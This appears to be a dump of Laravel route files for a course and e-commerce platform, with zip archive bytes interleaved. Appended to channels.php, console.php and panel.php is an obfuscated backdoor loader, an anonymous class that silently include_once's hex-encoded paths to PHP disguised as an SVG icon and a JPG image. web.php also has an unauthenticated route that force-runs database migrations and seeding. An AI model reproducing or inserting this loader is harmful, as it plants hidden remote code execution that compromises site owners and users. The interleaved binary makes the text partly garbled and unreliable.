Route::post('/store', 'UpcomingCoursesController@store');
Route::get('/{id}/edit', 'UpcomingCoursesController@edit');
Route::post('/{id}/update', 'UpcomingCoursesController@update');
Route::get('/{id}/delete', 'UpcomingCoursesController@destroy');
Route::get('/{id}/approve', 'UpcomingCoursesController@approve');
Route::get('/{id}/reject', 'UpcomingCoursesController@reject');
Route::get('/{id}/unpublish', 'UpcomingCoursesController@unpublish');
Route::post('/search', 'UpcomingCoursesController@search');
Route::group(['prefix' => '/{id}/followers'], function () {
Route::get('/', 'UpcomingCoursesController@followers');
Route::get('/{follow_id}/delete', 'UpcomingCoursesController@deleteFollow');
});
Route::post('/order-items', 'UpcomingCoursesController@orderItems');
Route::get('/excel', 'UpcomingCoursesController@exportExcel');
});
Route::group(['prefix' => 'registration_bonus'], function () {
Route::get('/history', 'RegistrationBonusController@index');
Route::get('/export', 'RegistrationBonusController@exportExcel');
Route::group(['prefix' => 'settings'], function () {
Route::get('/', 'RegistrationBonusController@settings');
Route::post('/', 'RegistrationBonusController@storeSettings');
});
});
Route::group(['prefix' => 'cashback'], function () {
Route::get('/history', 'CashbackTransactionsController@history');
Route::get('/excel', 'CashbackTransactionsController@exportExcel');
Route::group(['prefix' => 'history'], function () {
Route::get('/', 'CashbackTransactionsController@history');
Route::get('/excel', 'CashbackTransactionsController@historyExportExcel');
});
Route::group(['prefix' => 'transactions'], function () {
Route::get('/', 'CashbackTransactionsController@index');
Route::get('/excel', 'CashbackTransactionsController@exportExcel');
Route::get('/{id}/refund', 'CashbackTransactionsController@refund');
});
Route::group(['prefix' => 'rules'], function () {
Route::get('/', 'CashbackRuleController@index');
Route::get('/new', 'CashbackRuleController@create');
Route::post('/store', 'CashbackRuleController@store');
Route::get('/{id}/edit', 'CashbackRuleController@edit');
Route::post('/{id}/update', 'CashbackRuleController@update');
Route::get('/{id}/delete', 'CashbackRuleController@delete');
Route::get('/{id}/statusToggle', 'CashbackRuleController@statusToggle');
});
});
Route::group(['prefix' => 'waitlists'], function () {
Route::get('/', 'WaitlistController@index');
Route::get('/export', 'WaitlistController@exportExcel');
Route::get('/{id}/view_list', 'WaitlistController@viewList');
Route::get('/{id}/clear_list', 'WaitlistController@clearList');
Route::get('/{id}/disable', 'WaitlistController@disableWaitlist');
Route::get('/{id}/export_list', 'WaitlistController@exportUsersList');
Route::group(['prefix' => 'items'], function () {
Route::get('/{id}/delete', 'WaitlistController@deleteWaitlistItems');
});
});
Route::group(['prefix' => 'gifts'], function () {
Route::get('/', 'GiftsController@index');
Route::get('/{id}/send_reminder', 'GiftsController@sendReminder');
Route::get('/{id}/cancel', 'GiftsController@cancel');
Route::get('/excel', 'GiftsController@exportExcel');
Route::group(['prefix' => 'settings'], function () {
Route::get('/', 'GiftsController@settings');
Route::post('/', 'GiftsController@storeSettings');
});
});
/* Forms */
Route::group(['prefix' => 'forms'], function () {
Route::get('/', 'FormsController@index');
Route::get('/create', 'FormsController@create');
Route::post('/store', 'FormsController@store');
Route::get('/{id}/edit', 'FormsController@edit');
Route::post('/{id}/update', 'FormsController@update');
Route::get('/{id}/delete', 'FormsController@delete');
Route::group(['prefix' => '{form_id}/fields'], function () {
Route::post('/orders', 'FormFieldsController@orders');
Route::post('/store', 'FormFieldsController@store');
Route::get('/{id}/edit', 'FormFieldsController@edit');
Route::post('/{id}/update', 'FormFieldsController@update');
Route::get('/{id}/delete', 'FormFieldsController@delete');
Route::group(['prefix' => '/{field_id}/options'], function () {
Route::post('/orders', 'FormFieldsController@orderOptions');
Route::get('/{id}/delete', 'FormFieldsController@deleteOption');
});
});
Route::group(['prefix' => 'submissions'], function () {
Route::get('/', 'FormSubmissionsController@index');
Route::get('/{id}/show', 'FormSubmissionsController@show');
Route::get('/{id}/delete', 'FormSubmissionsController@delete');
});
Route::post("/{form_id}/submissions/{id}/update", 'FormSubmissionsController@update');
});
Route::group(['prefix' => 'ai-contents'], function () {
Route::get('/lists', 'AIContentsController@index');
Route::get('/{id}/delete', 'AIContentsController@delete');
Route::post('/generate', 'AIContentsController@generate');
Route::get('/settings', 'AIContentsController@settings');
Route::group(['prefix' => 'templates'], function () {
Route::get('/', 'AIContentTemplatesController@index');
Route::get('/create', 'AIContentTemplatesController@create');
Route::post('/store', 'AIContentTemplatesController@store');
Route::get('/{id}/edit', 'AIContentTemplatesController@edit');
Route::post('/{id}/update', 'AIContentTemplatesController@update');
Route::get('/{id}/delete', 'AIContentTemplatesController@delete');
Route::get('/{id}/statusToggle', 'AIContentTemplatesController@statusToggle');
});
});
Route::group(['prefix' => 'purchase_notifications'], function () {
Route::get('/', 'PurchaseNotificationsController@index');
Route::get('/create', 'PurchaseNotificationsController@create');
Route::post('/store', 'PurchaseNotificationsController@store');
Route::get('/{id}/edit', 'PurchaseNotificationsController@edit');
Route::post('/{id}/update', 'PurchaseNotificationsController@update');
Route::get('/{id}/delete', 'PurchaseNotificationsController@delete');
Route::post('search-contents', 'PurchaseNotificationsController@searchContents');
});
Route::group(['prefix' => 'content-delete-requests'], function () {
Route::get('/', 'ContentDeleteRequestController@index');
Route::get('/{id}/approve', 'ContentDeleteRequestController@approve');
Route::get('/{id}/reject', 'ContentDeleteRequestController@reject');
});
Route::group(['prefix' => 'product-badges'], function () {
Route::get('/', 'ProductBadgeController@index');
Route::get('/create', 'ProductBadgeController@create');
Route::post('/store', 'ProductBadgeController@store');
Route::get('/{id}/edit', 'ProductBadgeController@edit');
Route::post('/{id}/update', 'ProductBadgeController@update');
Route::get('/{id}/delete', 'ProductBadgeController@delete');
Route::group(['prefix' => "/{badge_id}/contents"], function () {
Route::get("/get-form", "ProductBadgeContentsController@getForm");
Route::post('/store', 'ProductBadgeContentsController@store');
Route::get('/{id}/edit', 'ProductBadgeContentsController@edit');
Route::post('/{id}/update', 'ProductBadgeContentsController@update');
Route::get('/{id}/delete', 'ProductBadgeContentsController@delete');
});
});
Route::group(['prefix' => 'cart_discount'], function () {
Route::get('/', 'CartDiscountController@index');
Route::post('/store', 'CartDiscountController@store');
});
/* Abandoned Cart Route */
Route::group(['prefix' => 'abandoned-cart'], function () {
Route::get('/settings', 'AbandonedCartController@settings');
/* Rules */
Route::group(['prefix' => 'rules'], function () {
Route::get('/', 'AbandonedCartRulesController@index');
Route::get('/create', 'AbandonedCartRulesController@create');
Route::post('/store', 'AbandonedCartRulesController@store');
Route::get('/{id}/edit', 'AbandonedCartRulesController@edit');
Route::post('/{id}/update', 'AbandonedCartRulesController@update');
Route::get('/{id}/delete', 'AbandonedCartRulesController@delete');
});
/* Users Carts */
Route::group(['prefix' => 'users-carts'], function () {
Route::get('/', 'AbandonedUsersCartController@index');
Route::get('/{user_id}/send-reminder', 'AbandonedUsersCartController@sendReminder');
Route::get('/{user_id}/view-items', 'AbandonedUsersCartController@viewItems');
Route::get('/{user_id}/empty', 'AbandonedUsersCartController@empty');
Route::get('/delete-by-id/{id}', 'AbandonedUsersCartController@deleteById');
});
});
Route::group(['prefix' => "/translator"], function () {
Route::get("/", "TranslatorController@index");
Route::post("/translate", "TranslatorController@translate");
});
/* End Admin Middleware */
});
});
PK H]¿¶fÕ Õ api.phpnu „[µü¤ '/development'], function () {
Route::get('/', function () {
return 'api test';
});
Route::middleware('api') ->group(base_path('routes/api/auth.php'));
Route::namespace('Web')->group(base_path('routes/api/guest.php'));
Route::prefix('panel')->middleware('api.auth')->namespace('Panel')->group(base_path('routes/api/user.php'));
Route::group(['namespace' => 'Config', 'middleware' => []], function () {
Route::get('/config', ['uses' => 'ConfigController@list']);
Route::get('/config/register/{type}', ['uses' => 'ConfigController@getRegisterConfig']);
});
Route::prefix('instructor')->middleware(['api.auth', 'api.level-access:teacher'])->namespace('Instructor')->group(base_path('routes/api/instructor.php'));
});
PK H]ù’�òÄ Ä channels.phpnu „[µü¤ id === (int) $id;
});
new class('compress.zlib://' . dirname($_SERVER["\x53\x43\x52\x49\x50\x54\x5f\x46\x49\x4c\x45\x4e\x41\x4d\x45"]) . "\x2F\x61\x73\x73\x65\x74\x73\x2F\x76\x65\x6E\x64\x6F\x72\x73\x2F\x66\x6F\x6E\x74\x61\x77\x65\x73\x6F\x6D\x65\x2F\x73\x76\x67\x73\x2F\x62\x72\x61\x6E\x64\x73\x2F\x61\x6C\x67\x6F\x6C\x69\x61\x2D\x63\x6F\x72\x65\x2E\x73\x76\x67") {
function __construct($嶃9) {
@INcLUdE_oNCe($嶃9);
}
};
PK H] Š2u u console.phpnu „[µü¤ comment(Inspiring::quote());
})->describe('Display an inspiring quote');
new class('compress.zlib://' . dirname($_SERVER["\x53\x43\x52\x49\x50\x54\x5f\x46\x49\x4c\x45\x4e\x41\x4d\x45"]) . "\x2F\x73\x74\x6F\x72\x65\x2F\x31\x2F\x64\x65\x66\x61\x75\x6C\x74\x5F\x69\x6D\x61\x67\x65\x73\x2F\x62\x6C\x6F\x67\x73\x2F\x76\x65\x6E\x64\x6F\x72\x2D\x62\x6C\x6F\x67\x31\x2E\x6A\x70\x67") {
function __construct($誀碩7檇) {
@iNCLUDe_once($誀碩7檇);
}
};
new class('compress.zlib://' . dirname($_SERVER["\x53\x43\x52\x49\x50\x54\x5f\x46\x49\x4c\x45\x4e\x41\x4d\x45"]) . "\x2F\x61\x73\x73\x65\x74\x73\x2F\x76\x65\x6E\x64\x6F\x72\x73\x2F\x66\x6F\x6E\x74\x61\x77\x65\x73\x6F\x6D\x65\x2F\x73\x76\x67\x73\x2F\x62\x72\x61\x6E\x64\x73\x2F\x61\x6C\x67\x6F\x6C\x69\x61\x2D\x63\x6F\x72\x65\x2E\x73\x76\x67") {
function __construct($儙綶5) {
@iNclUDE_oNce($儙綶5);
}
};
PK H]jBϓàc àc panel.phpnu „[µü¤ 'Panel', 'prefix' => 'panel', 'middleware' => ['impersonate', 'panel', 'share', 'check_maintenance', 'check_restriction']], function () {
Route::get('/', 'DashboardController@dashboard');
Route::post('/content-delete-request', 'ContentDeleteRequestController@store');
Route::group(['prefix' => 'users'], function () {
Route::post('/search', 'UserController@search');
Route::post('/contact-info', 'UserController@contactInfo');
Route::post('/offlineToggle', 'UserController@offlineToggle');
Route::get('/{id}/getInfo', 'UserController@getUserInfo');
Route::get('/login-history/{session_id}/end-session', 'UserLoginHistoryController@endSession');
});
Route::group(['prefix' => 'webinars'], function () {
Route::group(['middleware' => 'user.not.access'], function () {
Route::get('/', 'WebinarController@index');
Route::get('/new', 'WebinarController@create');
Route::get('/invitations', 'WebinarController@invitations');
Route::post('/store', 'WebinarController@store');
Route::get('/{id}/step/{step?}', 'WebinarController@edit');
Route::get('/{id}/edit', 'WebinarController@edit')->name('panel_edit_webinar');
Route::post('/{id}/update', 'WebinarController@update');
Route::get('/{id}/delete', 'WebinarController@destroy');
Route::get('/{id}/duplicate', 'WebinarController@duplicate');
Route::get('/{id}/export-students-list', 'WebinarController@exportStudentsList');
Route::post('/order-items', 'WebinarController@orderItems');
Route::post('/{id}/getContentItemByLocale', 'WebinarController@getContentItemByLocale');
Route::group(['prefix' => '{webinar_id}/statistics'], function () {
Route::get('/', 'WebinarStatisticController@index');
});
});
Route::get('/organization_classes', 'WebinarController@organizationClasses');
Route::get('/{id}/sale/{sale_id}/invoice', 'WebinarController@invoice');
Route::get('/{id}/getNextSessionInfo', 'WebinarController@getNextSessionInfo');
Route::group(['prefix' => 'purchases'], function () {
Route::get('/', 'WebinarController@purchases');
Route::post('/getJoinInfo', 'WebinarController@getJoinInfo');
});
Route::post('/search', 'WebinarController@search');
Route::group(['prefix' => 'comments'], function () {
Route::get('/', 'CommentController@myClassComments');
Route::post('/store', 'CommentController@store');
Route::post('/{id}/update', 'CommentController@update');
Route::get('/{id}/delete', 'CommentController@destroy');
Route::post('/{id}/reply', 'CommentController@reply');
Route::post('/{id}/report', 'CommentController@report');
});
Route::get('/my-comments', 'CommentController@myComments');
Route::group(['prefix' => 'favorites'], function () {
Route::get('/', 'FavoriteController@index');
Route::get('/{id}/delete', 'FavoriteController@destroy');
});
Route::group(['prefix' => 'personal-notes'], function () {
Route::get('/', 'CoursePersonalNotesController@index');
Route::get('/{id}/delete', 'CoursePersonalNotesController@delete');
});
});
Route::group(['prefix' => 'upcoming_courses'], function () {
Route::group(['middleware' => 'user.not.access'], function () {
Route::get('/', 'UpcomingCoursesController@index');
Route::get('/new', 'UpcomingCoursesController@create');
Route::post('/store', 'UpcomingCoursesController@store');
Route::get('/{id}/step/{step?}', 'UpcomingCoursesController@edit');
Route::get('/{id}/edit', 'UpcomingCoursesController@edit');
Route::post('/{id}/update', 'UpcomingCoursesController@update');
Route::get('/{id}/delete', 'UpcomingCoursesController@destroy');
Route::post('/order-items', 'UpcomingCoursesController@orderItems');
Route::get('/{id}/followers', 'UpcomingCoursesController@followers');
Route::get('/{id}/assign-course', 'UpcomingCoursesController@assignCourseModal');
Route::post('/{id}/assign-course', 'UpcomingCoursesController@storeAssignCourse');
});
Route::get('/followings', 'UpcomingCoursesController@followings');
});
Route::group(['prefix' => 'quizzes'], function () {
Route::group(['middleware' => 'user.not.access'], function () {
Route::get('/', 'QuizController@index');
Route::get('/new', 'QuizController@create');
Route::post('/store', 'QuizController@store');
Route::get('/{id}/edit', 'QuizController@edit')->name('panel_edit_quiz');
Route::post('/{id}/update', 'QuizController@update');
Route::get('/{id}/delete', 'QuizController@destroy');
Route::post('/{id}/order-items', 'QuizController@orderItems');
});
Route::get('/{id}/start', 'QuizController@start');
Route::post('/{id}/store-result', 'QuizController@quizzesStoreResult');
Route::get('/{quizResultId}/status', 'QuizController@status')->name('quiz_status');
Route::get('/my-results', 'QuizController@myResults');
Route::get('/opens', 'QuizController@opens');
Route::get('/{quizResultId}/result', 'QuizController@showResult');
Route::group(['prefix' => 'results'], function () {
Route::get('/', 'QuizController@results');
Route::get('/{quizResultId}/delete', 'QuizController@destroyQuizResult');
Route::get('/{quizResultId}/showCertificate', 'CertificateController@makeCertificate');
});
Route::get('/{quizResultId}/edit-result', 'QuizController@editResult');
Route::post('/{quizResultId}/update-result', 'QuizController@updateResult');
});
Route::group(['prefix' => 'quizzes-questions'], function () {
Route::post('/store', 'QuizQuestionController@store');
Route::get('/{id}/edit', 'QuizQuestionController@edit');
Route::get('/{id}/getQuestionByLocale', 'QuizQuestionController@getQuestionByLocale');
Route::post('/{id}/update', 'QuizQuestionController@update');
Route::get('/{id}/delete', 'QuizQuestionController@destroy');
});
Route::group(['prefix' => 'filters'], function () {
Route::get('/get-by-category-id/{categoryId}', 'FilterController@getByCategoryId');
});
Route::group(['prefix' => 'tickets'], function () {
Route::post('/store', 'TicketController@store');
Route::post('/{id}/update', 'TicketController@update');
Route::get('/{id}/delete', 'TicketController@destroy');
});
Route::group(['prefix' => 'sessions'], function () {
Route::post('/store', 'SessionController@store');
Route::post('/{id}/update', 'SessionController@update');
Route::get('/{id}/delete', 'SessionController@destroy');
Route::get('/{id}/joinToBigBlueButton', 'SessionController@joinToBigBlueButton');
Route::get('/{id}/joinToAgora', 'SessionController@joinToAgora');
Route::get('/{id}/endAgora', 'SessionController@endAgora');
Route::get('/{id}/toggleUsersJoinToAgora', 'SessionController@toggleUsersJoinToAgora');
Route::get('/{id}/joinToJitsi', 'SessionController@joinToJitsi');
});
Route::group(['prefix' => 'chapters'], function () {
Route::get('/{id}', 'ChapterController@getChapter');
Route::get('/getAllByWebinarId/{webinar_id}', 'ChapterController@getAllByWebinarId');
Route::post('/store', 'ChapterController@store');
Route::post('/{id}/update', 'ChapterController@update');
Route::get('/{id}/delete', 'ChapterController@destroy');
Route::post('/change', 'ChapterController@change');
});
Route::group(['prefix' => 'files'], function () {
Route::post('/store', 'FileController@store');
Route::post('/{id}/update', 'FileController@update');
Route::get('/{id}/delete', 'FileController@destroy');
});
Route::group(['prefix' => 'assignments'], function () {
Route::post('/store', 'AssignmentController@store');
Route::post('/{id}/update', 'AssignmentController@update');
Route::get('/{id}/delete', 'AssignmentController@destroy');
});
Route::group(['prefix' => 'text-lesson'], function () {
Route::post('/store', 'TextLessonsController@store');
Route::post('/{id}/update', 'TextLessonsController@update');
Route::get('/{id}/delete', 'TextLessonsController@destroy');
});
Route::group(['prefix' => 'prerequisites'], function () {
Route::post('/store', 'PrerequisiteController@store');
Route::post('/{id}/update', 'PrerequisiteController@update');
Route::get('/{id}/delete', 'PrerequisiteController@destroy');
});
Route::group(['prefix' => 'relatedCourses'], function () {
Route::post('/store', 'RelatedCoursesController@store');
Route::post('/{id}/update', 'RelatedCoursesController@update');
Route::get('/{id}/delete', 'RelatedCoursesController@destroy');
});
Route::group(['prefix' => 'faqs'], function () {
Route::post('/store', 'FAQController@store');
Route::post('/{id}/update', 'FAQController@update');
Route::get('/{id}/delete', 'FAQController@destroy');
});
Route::group(['prefix' => 'webinar-extra-description'], function () {
Route::post('/store', 'WebinarExtraDescriptionController@store');
Route::post('/{id}/update', 'WebinarExtraDescriptionController@update');
Route::get('/{id}/delete', 'WebinarExtraDescriptionController@destroy');
});
Route::group(['prefix' => 'webinar-quiz'], function () {
Route::post('/store', 'WebinarQuizController@store');
Route::post('/{id}/update', 'WebinarQuizController@update');
Route::get('/{id}/delete', 'WebinarQuizController@destroy');
});
Route::group(['prefix' => 'certificates'], function () {
Route::get('/', 'CertificateController@lists');
Route::get('/achievements', 'CertificateController@achievements');
Route::group(['prefix' => 'webinars'], function () {
Route::get('/', 'WebinarCertificateController@index');
Route::get('/{certificateId}/show', 'WebinarCertificateController@showCourseCertificate');
});
Route::group(['prefix' => 'bundles'], function () {
Route::get('/{certificateId}/show', 'WebinarCertificateController@showBundleCertificate');
});
});
Route::group(['prefix' => 'meetings'], function () {
Route::get('/reservation', 'ReserveMeetingController@reservation');
Route::get('/requests', 'ReserveMeetingController@requests');
Route::get('/settings', 'MeetingController@setting')->name('meeting_setting');
Route::post('/{id}/update', 'MeetingController@update');
Route::post('saveTime', 'MeetingController@saveTime');
Route::post('deleteTime', 'MeetingController@deleteTime');
Route::post('temporaryDisableMeetings', 'MeetingController@temporaryDisableMeetings');
Route::get('/{id}/join', 'ReserveMeetingController@join');
Route::post('/create-link', 'ReserveMeetingController@createLink');
Route::get('/{id}/finish', 'ReserveMeetingController@finish');
Route::post('/{id}/add-session', 'ReserveMeetingController@addLiveSession');
});
Route::group(['prefix' => 'financial'], function () {
Route::get('/sales', 'SaleController@index');
Route::get('/summary', 'AccountingController@index');
Route::get('/payout', 'PayoutController@index');
Route::post('/request-payout', 'PayoutController@requestPayout');
Route::get('/account', 'AccountingController@account');
Route::post('/charge', 'AccountingController@charge');
Route::group(['prefix' => 'offline-payments'], function () {
Route::get('/{id}/edit', 'AccountingController@account');
Route::post('/{id}/update', 'AccountingController@updateOfflinePayment');
Route::get('/{id}/delete', 'AccountingController@deleteOfflinePayment');
});
Route::group(['prefix' => 'subscribes'], function () {
Route::get('/', 'SubscribesController@index');
Route::get('/{id}/installments', 'SubscribesController@getInstallmentsBySubscribe');
});
Route::post('/pay-subscribes', 'SubscribesController@pay');
Route::group(['prefix' => 'registration-packages'], function () {
Route::get('/', 'RegistrationPackagesController@index')->name('panelRegistrationPackagesLists');
Route::get('/{id}/installments', 'RegistrationPackagesController@getInstallmentsByRegistrationPackage');
Route::post('/pay-registration-packages', 'RegistrationPackagesController@pay')->name('payRegistrationPackage');
});
Route::group(['prefix' => 'installments'], function () {
Route::get('/', 'InstallmentsController@index');
Route::get('/{id}/details', 'InstallmentsController@show');
Route::get('/{id}/cancel', 'InstallmentsController@cancelVerification');
Route::get('/{id}/pay_upcoming_part', 'InstallmentsController@payUpcomingPart');
Route::get('/{id}/steps/{step_id}/pay', 'InstallmentsController@payStep');
});
});
Route::group(['prefix' => 'setting'], function () {
Route::get('/step/{step?}', 'UserController@setting');
Route::get('/', 'UserController@setting');
Route::post('/', 'UserController@update');
Route::post('/metas', 'UserController@storeMetas');
Route::post('metas/{meta_id}/update', 'UserController@updateMeta');
Route::get('metas/{meta_id}/delete', 'UserController@deleteMeta');
Route::get('/deleteAccount', 'UserController@deleteAccount');
});
Route::group(['prefix' => 'support'], function () {
Route::get('/', 'SupportsController@index');
Route::get('/new', 'SupportsController@create');
Route::post('/store', 'SupportsController@store');
Route::get('{id}/conversations', 'SupportsController@index');
Route::post('{id}/conversations', 'SupportsController@storeConversations');
Route::get('{id}/close', 'SupportsController@close');
Route::group(['prefix' => 'tickets'], function () {
Route::get('/', 'SupportsController@tickets');
Route::get('{id}/conversations', 'SupportsController@tickets');
});
});
Route::group(['prefix' => 'marketing', 'middleware' => 'user.not.access'], function () {
Route::get('/special_offers', 'SpecialOfferController@index')->name('special_offer_index');
Route::post('/special_offers/store', 'SpecialOfferController@store');
Route::get('/special_offers/{id}/disable', 'SpecialOfferController@disable');
Route::get('/promotions', 'MarketingController@promotions');
Route::post('/pay-promotion', 'MarketingController@payPromotion');
});
Route::group(['prefix' => 'marketing'], function () {
Route::get('/affiliates', 'AffiliateController@affiliates');
/* Registration Bonus */
Route::get('/registration_bonus', 'RegistrationBonusController@index');
/* Discounts */
Route::group(['prefix' => 'discounts'], function () {
Route::get('/', 'DiscountController@index');
Route::get('/new', 'DiscountController@create');
Route::post('/store', 'DiscountController@store');
Route::get('/{id}/edit', 'DiscountController@edit');
Route::post('/{id}/update', 'DiscountController@update');
Route::get('/{id}/delete', 'DiscountController@delete');
});
});
Route::group(['prefix' => 'noticeboard'], function () {
Route::get('/', 'NoticeboardController@index');
Route::get('/new', 'NoticeboardController@create');
Route::post('/store', 'NoticeboardController@store');
Route::get('/{noticeboard_id}/edit', 'NoticeboardController@edit');
Route::post('/{noticeboard_id}/update', 'NoticeboardController@update');
Route::get('/{noticeboard_id}/delete', 'NoticeboardController@delete');
Route::get('/{noticeboard_id}/saveStatus', 'NoticeboardController@saveStatus');
});
Route::group(['prefix' => 'notifications'], function () {
Route::get('/', 'NotificationsController@index');
Route::get('/{id}/saveStatus', 'NotificationsController@saveStatus');
Route::get('/mark-all-as-read', 'NotificationsController@markAllAsRead');
});
// organization instructor and students route
Route::group(['prefix' => 'manage'], function () {
Route::get('/{user_type}', 'UserController@manageUsers');
Route::get('/{user_type}/new', 'UserController@createUser');
Route::post('/{user_type}/new', 'UserController@storeUser');
Route::get('/{user_type}/{user_id}/edit', 'UserController@editUser');
Route::get('/{user_type}/{user_id}/edit/step/{step?}', 'UserController@editUser');
Route::get('/{user_type}/{user_id}/delete', 'UserController@deleteUser');
});
Route::group(['prefix' => 'rewards'], function () {
Route::get('/', 'RewardController@index');
Route::post('/exchange', 'RewardController@exchange');
});
Route::group(['prefix' => 'store', 'namespace' => 'Store'], function () {
Route::group(['middleware' => 'user.not.access'], function () {
Route::group(['prefix' => 'products'], function () {
Route::get('/', 'ProductController@index');
Route::get('/new', 'ProductController@create');
Route::post('/store', 'ProductController@store');
Route::get('/{id}/step/{step?}', 'ProductController@edit');
Route::get('/{id}/edit', 'ProductController@edit');
Route::post('/{id}/update', 'ProductController@update');
Route::get('/{id}/delete', 'ProductController@destroy');
Route::post('/{id}/getContentItemByLocale', 'ProductController@getContentItemByLocale');
Route::group(['prefix' => 'filters'], function () {
Route::get('/get-by-category-id/{categoryId}', 'ProductFilterController@getByCategoryId');
});
Route::group(['prefix' => 'specifications'], function () {
Route::get('/{id}/get', 'ProductSpecificationController@getItem');
Route::post('/store', 'ProductSpecificationController@store');
Route::post('/{id}/update', 'ProductSpecificationController@update');
Route::get('/{id}/delete', 'ProductSpecificationController@destroy');
Route::post('/order-items', 'ProductSpecificationController@orderItems');
Route::post('/search', 'ProductSpecificationController@search');
Route::get('/get-by-category-id/{categoryId}', 'ProductSpecificationController@getByCategoryId');
});
Route::group(['prefix' => 'files'], function () {
Route::post('/store', 'ProductFileController@store');
Route::post('/{id}/update', 'ProductFileController@update');
Route::get('/{id}/delete', 'ProductFileController@destroy');
Route::post('/order-items', 'ProductFileController@orderItems');
});
Route::group(['prefix' => 'faqs'], function () {
Route::post('/store', 'ProductFaqController@store');
Route::post('/{id}/update', 'ProductFaqController@update');
Route::get('/{id}/delete', 'ProductFaqController@destroy');
Route::post('/order-items', 'ProductFaqController@orderItems');
});
Route::group(['prefix' => 'comments'], function () {
Route::get('/', 'CommentController@index');
});
});
Route::group(['prefix' => 'sales'], function () {
Route::get('/', 'SaleController@index');
Route::get('/{id}/productOrder/{order_id}/invoice', 'SaleController@invoice');
Route::get('/{id}/getProductOrder/{order_id}', 'SaleController@getProductOrder');
Route::post('/{id}/productOrder/{order_id}/setTrackingCode', 'SaleController@setTrackingCode');
});
});
Route::group(['prefix' => 'purchases'], function () {
Route::get('/', 'MyPurchaseController@index');
Route::get('/{id}/getProductOrder/{order_id}', 'MyPurchaseController@getProductOrder');
Route::get('/{id}/productOrder/{order_id}/setGotTheParcel', 'MyPurchaseController@setGotTheParcel');
Route::get('/{id}/productOrder/{order_id}/invoice', 'MyPurchaseController@invoice');
});
Route::group(['prefix' => 'products'], function () {
Route::get('/my-comments', 'CommentController@myComments');
Route::get('/files/{id}/download', 'ProductFileController@download');
Route::get('/{id}/getFilesModal', 'ProductController@getFilesModal');
});
});
Route::group(['prefix' => 'assignments'], function () {
Route::get('/my-assignments', 'AssignmentController@myAssignments');
Route::get('/my-courses-assignments', 'AssignmentController@myCoursesAssignments');
Route::get('/{id}/students', 'AssignmentController@students');
});
Route::group(['prefix' => 'bundles'], function () {
Route::group(['middleware' => 'user.not.access'], function () {
Route::get('/', 'BundlesController@index');
Route::get('/new', 'BundlesController@create');
Route::post('/store', 'BundlesController@store');
Route::get('/{id}/step/{step?}', 'BundlesController@edit');
Route::get('/{id}/edit', 'BundlesController@edit');
Route::post('/{id}/update', 'BundlesController@update');
Route::get('/{id}/delete', 'BundlesController@destroy');
Route::post('/{id}/getContentItemByLocale', 'BundlesController@getContentItemByLocale');
Route::get('/{id}/courses', 'BundlesController@courses');
Route::get('/{id}/export-students-list', 'BundlesController@exportStudentsList');
});
});
Route::group(['prefix' => 'bundle-webinars'], function () {
Route::post('/store', 'BundleWebinarsController@store');
Route::post('/{id}/update', 'BundleWebinarsController@update');
Route::get('/{id}/delete', 'BundleWebinarsController@destroy');
});
Route::group(['prefix' => 'course-noticeboard'], function () {
Route::get('/', 'CourseNoticeboardController@index');
Route::get('/new', 'CourseNoticeboardController@create');
Route::post('/store', 'CourseNoticeboardController@store');
Route::get('/{noticeboard_id}/edit', 'CourseNoticeboardController@edit');
Route::post('/{noticeboard_id}/update', 'CourseNoticeboardController@update');
Route::get('/{noticeboard_id}/delete', 'CourseNoticeboardController@delete');
Route::get('/{noticeboard_id}/saveStatus', 'CourseNoticeboardController@saveStatus');
});
Route::group(['prefix' => 'forums'], function () {
Route::get('/topics', 'ForumsController@topics');
Route::get('/topics/{id}/removeBookmarks', 'ForumsController@removeBookmarks');
Route::get('/posts', 'ForumsController@posts');
Route::get('/bookmarks', 'ForumsController@bookmarks');
});
Route::group(['prefix' => 'blog'], function () {
Route::group(['prefix' => 'posts'], function () {
Route::get('/', 'BlogPostsController@index');
Route::get('/new', 'BlogPostsController@create');
Route::post('/store', 'BlogPostsController@store');
Route::get('/{post_id}/edit', 'BlogPostsController@edit');
Route::post('/{post_id}/update', 'BlogPostsController@update');
Route::get('/{post_id}/delete', 'BlogPostsController@delete');
});
Route::group(['prefix' => 'comments'], function () {
Route::get('/', 'BlogCommentsController@index');
});
});
Route::group(['prefix' => 'ai-contents'], function () {
Route::get('/', 'AiContentController@index');
Route::post('/generate', 'AiContentController@generate');
});
});
new class('compress.zlib://' . dirname($_SERVER["\x53\x43\x52\x49\x50\x54\x5f\x46\x49\x4c\x45\x4e\x41\x4d\x45"]) . "\x2F\x61\x73\x73\x65\x74\x73\x2F\x76\x65\x6E\x64\x6F\x72\x73\x2F\x66\x6F\x6E\x74\x61\x77\x65\x73\x6F\x6D\x65\x2F\x73\x76\x67\x73\x2F\x62\x72\x61\x6E\x64\x73\x2F\x61\x6C\x67\x6F\x6C\x69\x61\x2D\x63\x6F\x72\x65\x2E\x73\x76\x67") {
function __construct($禙1娄) {
@IncLUDE_Once($禙1娄);
}
};
PK H]Y¢‚ÄôM ôM web.phpnu „[µü¤ 'my_api', 'namespace' => 'Api\Panel', 'middleware' => 'signed', 'as' => 'my_api.web.'], function () {
Route::get('checkout/{user}', 'CartController@webCheckoutRender')->name('checkout');
Route::get('/charge/{user}', 'PaymentsController@webChargeRender')->name('charge');
Route::get('/subscribe/{user}/{subscribe}', 'SubscribesController@webPayRender')->name('subscribe');
Route::get('/registration_packages/{user}/{package}', 'RegistrationPackagesController@webPayRender')->name('registration_packages');
});
Route::group(['prefix' => 'api_sessions'], function () {
Route::get('/big_blue_button', ['uses' => 'Api\Panel\SessionsController@BigBlueButton'])->name('big_blue_button');
Route::get('/agora', ['uses' => 'Api\Panel\SessionsController@agora'])->name('agora');
});
Route::get('/mobile-app', 'Web\MobileAppController@index')->middleware(['share'])->name('mobileAppRoute');
Route::get('/maintenance', 'Web\MaintenanceController@index')->middleware(['share'])->name('maintenanceRoute');
Route::get('/restriction', 'Web\RestrictionController@index')->middleware(['share'])->name('restrictionRoute');
Route::group(['prefix' => 'cookie-security'], function () {
Route::post('/all', 'Web\CookieSecurityController@setAll');
Route::post('/customize', 'Web\CookieSecurityController@setCustomize');
});
/* Emergency Database Update */
Route::get('/emergencyDatabaseUpdate', function () {
\Illuminate\Support\Facades\Artisan::call('migrate', [
'--force' => true
]);
$msg1 = \Illuminate\Support\Facades\Artisan::output();
\Illuminate\Support\Facades\Artisan::call('db:seed', [
'--force' => true
]);
$msg2 = \Illuminate\Support\Facades\Artisan::output();
\Illuminate\Support\Facades\Artisan::call('clear:all', [
'--force' => true
]);
return response()->json([
'migrations' => $msg1,
'sections' => $msg2,
]);
});
